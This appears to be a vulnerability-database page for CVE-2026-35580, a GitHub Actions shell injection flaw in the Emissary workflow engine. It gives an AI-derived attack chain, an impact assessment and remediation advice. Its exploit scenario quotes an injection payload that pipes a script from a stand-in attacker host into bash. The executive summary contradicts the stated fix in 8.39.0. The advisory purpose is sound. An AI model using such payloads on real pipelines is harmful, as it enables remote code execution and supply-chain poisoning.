Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker gains repository write access
-
DeliveryCraft malicious workflow_dispatch input
-
ExploitInject shell commands via ${{ }} syntax
-
ExecutionExecute arbitrary commands in GitHub Actions runner
-
ImpactCompromise repository and poison supply chain
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker requires repository write access to Emissary versions prior to 8.39.0. Attacker injects malicious shell commands via workflow_dispatch inputs in GitHub Actions workflow files using ${{ }} expression syntax, poisoning the repository and affecting downstream users. |
| Impact | This Critical-severity vulnerability presents significant supply chain risk despite requiring high privileges (PR:H). The CVSS 9.1 score reflects Network attack vector (AV:N), Low complexity (AC:L), and Changed scope with High impact across confidentiality, integrity, and availability. While authenticated access (repository write permissions) is mandatory, many development teams grant broad write access to contributors, increasing the threat surface. The Changed scope is particularly concerning: successful exploitation enables attackers to poison the repository with malicious code that propagates to all users who clone, build, or depend on Emissary. No CISA KEV listing or EPSS data provided, and no public proof-of-concept identified, suggesting exploitation has not been observed in the wild. However, the technical barrier is low once write access is obtained, and GitHub Actions injection vulnerabilities are well-documented attack patterns. Priority should be HIGH for organizations using Emissary in CI/CD pipelines or distributing it to downstream consumers, as the supply chain impact could be widespread. Organizations without direct Emissary usage but consuming NSA-released software should verify they are using post-patch versions. |
| Exploit ScenarioDerived | An attacker with write access to the Emissary GitHub repository (e.g., a compromised developer account or malicious insider) creates or modifies a workflow file to include a workflow_dispatch trigger accepting user input. The attacker crafts the workflow to interpolate this input directly into a shell command using GitHub Actions ${{ }} expression syntax, such as 'run: echo ${{ github.event.inputs.user_data }} | process_data.sh'. The attacker then triggers the workflow with a malicious payload like 'dummy; curl attacker.com/exfil.sh | bash; #' which executes arbitrary commands on the GitHub Actions runner. This grants the attacker access to repository secrets, ability to modify build artifacts, inject backdoors into release binaries, or exfiltrate sensitive data. Downstream users who consume the compromised Emissary releases inherit the malicious code, creating a supply chain compromise with broad impact across the user base. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 07, 2026
Shell command injection in Emissary workflow engine below version 8.39.0 allows high-privileged attackers with repository write access to execute arbitrary commands via GitHub Actions workflow_dispatch inputs. Attackers exploit unsanitized ${{ }} expression syntax in workflow files to inject malicious shell commands, enabling repository poisoning and supply chain attacks affecting downstream users. CVSS 9.1 (Critical) with Changed scope indicates potential to compromise beyond the vulnerable component. No public exploit code or CISA KEV listing identified at time of analysis, though exploitation requires only repository write access with low attack complexity.
RemediationAI
Upgrade immediately to Emissary version 8.39.0 or later, which contains fixes for the shell injection vulnerability. The remediation was implemented through GitHub pull requests #1286 and #1288 available at https://github.com/NationalSecurityAgency/emissary/pull/1286 and https://github.com/NationalSecurityAgency/emissary/pull/1288. Organizations should audit all GitHub Actions workflow files for unsafe interpolation of workflow_dispatch inputs using ${{ }} syntax in shell commands and replace with properly sanitized alternatives or environment variable passing mechanisms. As an interim mitigation for environments unable to upgrade immediately, restrict repository write access to only essential trusted personnel, implement mandatory code review for all workflow file changes, and consider disabling workflow_dispatch triggers if not operationally required. Verify that no malicious commits were introduced to the repository prior to patching, as attackers with historical write access could have already poisoned the codebase.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Emissary is a P2P-based data-driven workflow engine developed by the National Security Agency (NSA). This vulnerability (CWE-77: Command Injection) stems from unsafe interpolation of user-controlled workflow_dispatch inputs within GitHub Actions YAML workflow files. The GitHub Actions ${{ }} expression syntax, when used to embed workflow inputs directly into shell commands without proper sanitization, creates injection points. An attacker with repository write permissions can craft malicious workflow_dispatch trigger payloads containing shell metacharacters or command sequences that execute during workflow runs. The Changed scope (S:C) in the CVSS vector indicates the vulnerability can affect resources beyond the GitHub Actions runner context, potentially compromising the CI/CD pipeline, build artifacts, or downstream systems that consume Emissary releases.
Know when Emissary gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.
Executive ViewAI
CVE-2026-35580 is a critical shell command injection vulnerability in Emissary workflow engine versions below 8.39.0 that allows attackers with repository write access to execute arbitrary commands through unsanitized GitHub Actions workflow inputs, creating supply chain risk for any organization using Emissary-dependent workflows. An attacker with code commit privileges could poison repositories to compromise downstream consumers, making this a material risk to software delivery integrity regardless of current exploitation prevalence.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable workflow_dispatch triggers in production workflows until patch available; (2) Implement process-level controls requiring secondary approval for any ${{ }} expression syntax in workflow files; (3) Restrict repository write access to minimum set of trusted administrators; (4) Enable GitHub Actions audit logging and monitor for suspicious workflow execution patterns; (5) Consider running Emissary workflows in isolated environments with minimal downstream dependencies.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in Emissary Shell Injection and Path Traversal
View all 3Emissary is a P2P-based, data-driven workflow engine. Rated critical severity (CVSS 9.9), this vulnerability is remotely
Emissary is a P2P based data-driven workflow engine. Rated critical severity (CVSS 9.1), this vulnerability is remotely
The ConsoleAction component of U.S. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authe
The ConfigFileAction component of U.S. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low
A Cross-site scripting (XSS) vulnerability in the DocumentAction component of U.S. Rated medium severity (CVSS 6.1), thi
U.S. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch
U.S. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch
Emissary is a distributed, peer-to-peer, data-driven workflow framework. Rated high severity (CVSS 7.2), this vulnerabil
Stored cross-site scripting in Emissary prior to 8.39.0 allows authenticated administrators to inject malicious javascri
Same weakness CWE-77 – Command Injection
View allSame technique Command Injection
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
EUVD-2026-19728
GHSA-3g6g-gq4r-xjm9
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB